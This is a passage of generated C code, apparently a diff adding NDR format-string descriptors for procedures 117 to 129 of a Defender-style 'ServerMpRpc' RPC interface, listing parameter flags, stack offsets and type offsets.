*/ + +/* 6524 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 6526 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 6528 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 6530 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6532 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 6534 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 6536 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6538 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 6540 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 6542 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 6544 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 6546 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc117_ServerMpRpcIsRtpAutoEnable */ + +/* 6548 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 6550 */ NdrFcLong( 0x0 ), /* 0 */ +/* 6554 */ NdrFcShort( 0x75 ), /* 117 */ +/* 6556 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 6558 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 6560 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6562 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6564 */ NdrFcShort( 0x78 ), /* 120 */ +/* 6566 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x5, /* 5 */ +/* 6568 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 6570 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6572 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6574 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6576 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 6578 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6580 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 6582 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 6584 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6586 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 6588 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 6590 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6592 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 6594 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 6596 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6598 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 6600 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 6602 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 6604 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 6606 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc118_ServerMpRpcEngineQueryConfigDword */ + +/* 6608 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 6610 */ NdrFcLong( 0x0 ), /* 0 */ +/* 6614 */ NdrFcShort( 0x76 ), /* 118 */ +/* 6616 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 6618 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 6620 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6622 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6624 */ NdrFcShort( 0x40 ), /* 64 */ +/* 6626 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x4, /* 4 */ +/* 6628 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 6630 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6632 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6634 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6636 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 6638 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 6640 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 6642 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 6644 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6646 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 6648 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 6650 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6652 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 6654 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 6656 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 6658 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 6660 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc119_ServerMpRpcSampleHeaderQueueCreate */ + +/* 6662 */ 0x33, /* FC_AUTO_HANDLE */ + 0x48, /* Old Flags: */ +/* 6664 */ NdrFcLong( 0x0 ), /* 0 */ +/* 6668 */ NdrFcShort( 0x77 ), /* 119 */ +/* 6670 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 6672 */ NdrFcShort( 0x4c ), /* 76 */ +/* 6674 */ NdrFcShort( 0xa0 ), /* 160 */ +/* 6676 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x6, /* 6 */ +/* 6678 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 6680 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6682 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6684 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6686 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 6688 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */ +/* 6690 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6692 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_2 */ + +/* 6694 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 6696 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 6698 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 6700 */ NdrFcShort( 0x4112 ), /* Flags: must free, out, simple ref, srv alloc size=16 */ +/* 6702 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 6704 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_4 */ + +/* 6706 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 6708 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 6710 */ NdrFcShort( 0xbc ), /* Type Offset=188 */ + + /* Parameter arg_5 */ + +/* 6712 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6714 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 6716 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 6718 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 6720 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 6722 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc120_ServerMpRpcSampleHeaderQueueQueryNotification */ + +/* 6724 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 6726 */ NdrFcLong( 0x0 ), /* 0 */ +/* 6730 */ NdrFcShort( 0x78 ), /* 120 */ +/* 6732 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 6734 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 6736 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6738 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 6740 */ NdrFcShort( 0x24 ), /* 36 */ +/* 6742 */ NdrFcShort( 0x78 ), /* 120 */ +/* 6744 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x5, /* 5 */ +/* 6746 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 6748 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6750 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6752 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6754 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 6756 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 6758 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6760 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 6762 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 6764 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 6766 */ NdrFcShort( 0x402 ), /* Type Offset=1026 */ + + /* Parameter arg_2 */ + +/* 6768 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6770 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 6772 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 6774 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6776 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 6778 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 6780 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 6782 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 6784 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc121_ServerMpRpcSampleHeaderQueueClose */ + +/* 6786 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 6788 */ NdrFcLong( 0x0 ), /* 0 */ +/* 6792 */ NdrFcShort( 0x79 ), /* 121 */ +/* 6794 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 6796 */ 0x30, /* FC_BIND_CONTEXT */ + 0xe0, /* Ctxt flags: via ptr, in, out, */ +/* 6798 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6800 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 6802 */ NdrFcShort( 0x38 ), /* 56 */ +/* 6804 */ NdrFcShort( 0x5c ), /* 92 */ +/* 6806 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 6808 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 6810 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6812 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6814 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6816 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 6818 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ +/* 6820 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6822 */ NdrFcShort( 0xc4 ), /* Type Offset=196 */ + + /* Parameter arg_2 */ + +/* 6824 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6826 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 6828 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 6830 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 6832 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 6834 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc122_ServerMpRpcSampleHeaderClose */ + +/* 6836 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 6838 */ NdrFcLong( 0x0 ), /* 0 */ +/* 6842 */ NdrFcShort( 0x7a ), /* 122 */ +/* 6844 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 6846 */ 0x30, /* FC_BIND_CONTEXT */ + 0xe0, /* Ctxt flags: via ptr, in, out, */ +/* 6848 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6850 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 6852 */ NdrFcShort( 0x38 ), /* 56 */ +/* 6854 */ NdrFcShort( 0x5c ), /* 92 */ +/* 6856 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 6858 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 6860 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6862 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6864 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6866 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 6868 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ +/* 6870 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6872 */ NdrFcShort( 0xc4 ), /* Type Offset=196 */ + + /* Parameter arg_2 */ + +/* 6874 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6876 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 6878 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 6880 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 6882 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 6884 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc123_ServerMpRpcSampleHeaderGetSampleDetails */ + +/* 6886 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 6888 */ NdrFcLong( 0x0 ), /* 0 */ +/* 6892 */ NdrFcShort( 0x7b ), /* 123 */ +/* 6894 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 6896 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 6898 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6900 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 6902 */ NdrFcShort( 0x24 ), /* 36 */ +/* 6904 */ NdrFcShort( 0x24 ), /* 36 */ +/* 6906 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 6908 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 6910 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6912 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6914 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6916 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 6918 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 6920 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6922 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 6924 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 6926 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 6928 */ NdrFcShort( 0x966 ), /* Type Offset=2406 */ + + /* Parameter arg_2 */ + +/* 6930 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6932 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 6934 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 6936 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 6938 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 6940 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc124_ServerMpRpcGetSampleChunk */ + +/* 6942 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 6944 */ NdrFcLong( 0x0 ), /* 0 */ +/* 6948 */ NdrFcShort( 0x7c ), /* 124 */ +/* 6950 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 6952 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 6954 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6956 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6958 */ NdrFcShort( 0x40 ), /* 64 */ +/* 6960 */ 0x47, /* Oi2 Flags: srv must size, clt must size, has return, has ext, */ + 0x5, /* 5 */ +/* 6962 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 6964 */ NdrFcShort( 0x1 ), /* 1 */ +/* 6966 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6968 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6970 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 6972 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 6974 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 6976 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 6978 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6980 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 6982 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 6984 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 6986 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 6988 */ NdrFcShort( 0x98e ), /* Type Offset=2446 */ + + /* Parameter arg_4 */ + +/* 6990 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6992 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 6994 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 6996 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 6998 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 7000 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc125_ServerMpRpcConveySampleSubmissionResult */ + +/* 7002 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 7004 */ NdrFcLong( 0x0 ), /* 0 */ +/* 7008 */ NdrFcShort( 0x7d ), /* 125 */ +/* 7010 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 7012 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 7014 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 7016 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7018 */ NdrFcShort( 0x24 ), /* 36 */ +/* 7020 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x3, /* 3 */ +/* 7022 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 7024 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7026 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7028 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7030 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 7032 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 7034 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 7036 */ NdrFcShort( 0x9a6 ), /* Type Offset=2470 */ + + /* Parameter arg_2 */ + +/* 7038 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7040 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 7042 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 7044 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 7046 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 7048 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc126_ServerMpRpcGetSampleListRequiringConsent */ + +/* 7050 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 7052 */ NdrFcLong( 0x0 ), /* 0 */ +/* 7056 */ NdrFcShort( 0x7e ), /* 126 */ +/* 7058 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 7060 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 7062 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 7064 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7066 */ NdrFcShort( 0x40 ), /* 64 */ +/* 7068 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 7070 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 7072 */ NdrFcShort( 0x1 ), /* 1 */ +/* 7074 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7076 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7078 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 7080 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7082 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 7084 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 7086 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 7088 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 7090 */ NdrFcShort( 0x9cc ), /* Type Offset=2508 */ + + /* Parameter arg_3 */ + +/* 7092 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7094 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 7096 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 7098 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 7100 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 7102 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc127_ServerMpRpcConveyUserChoiceForSampleList */ + +/* 7104 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 7106 */ NdrFcLong( 0x0 ), /* 0 */ +/* 7110 */ NdrFcShort( 0x7f ), /* 127 */ +/* 7112 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 7114 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 7116 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 7118 */ NdrFcShort( 0x8 ), /* 8 */ +/* 7120 */ NdrFcShort( 0x24 ), /* 36 */ +/* 7122 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x4, /* 4 */ +/* 7124 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 7126 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7128 */ NdrFcShort( 0x1 ), /* 1 */ +/* 7130 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7132 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 7134 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 7136 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 7138 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 7140 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 7142 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 7144 */ NdrFcShort( 0xa00 ), /* Type Offset=2560 */ + + /* Parameter arg_3 */ + +/* 7146 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7148 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 7150 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 7152 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 7154 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 7156 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc128_ServerMpRpcGetRunningMode */ + +/* 7158 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 7160 */ NdrFcLong( 0x0 ), /* 0 */ +/* 7164 */ NdrFcShort( 0x80 ), /* 128 */ +/* 7166 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 7168 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 7170 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 7172 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7174 */ NdrFcShort( 0x40 ), /* 64 */ +/* 7176 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 7178 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 7180 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7182 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7184 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7186 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 7188 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7190 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 7192 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 7194 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7196 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 7198 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 7200 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 7202 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 7204 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc129_ServerMpRpcIsGivenRunningModeSupported */ + +/* 7206 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 7208 */ NdrFcLong( 0x0 ), /* 0 */ +/* 7212 */ NdrFcShort( 0x81 ), /* 129 */ +/* 7214 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 7216 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 7218 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 7220 */ NdrFcShort( 0x8 ), /* 8 */ +/* 7222 */ NdrFcShort( 0x40 ), /* 64 */ +/* 7224 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 7226 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 7228 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7230 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7232 */ NdrFcShort( 0x0 ), /* 0 */ +/* 7234 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 7236 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 7238 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 7240 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 7242 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 7244 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 7246 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 7248 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc 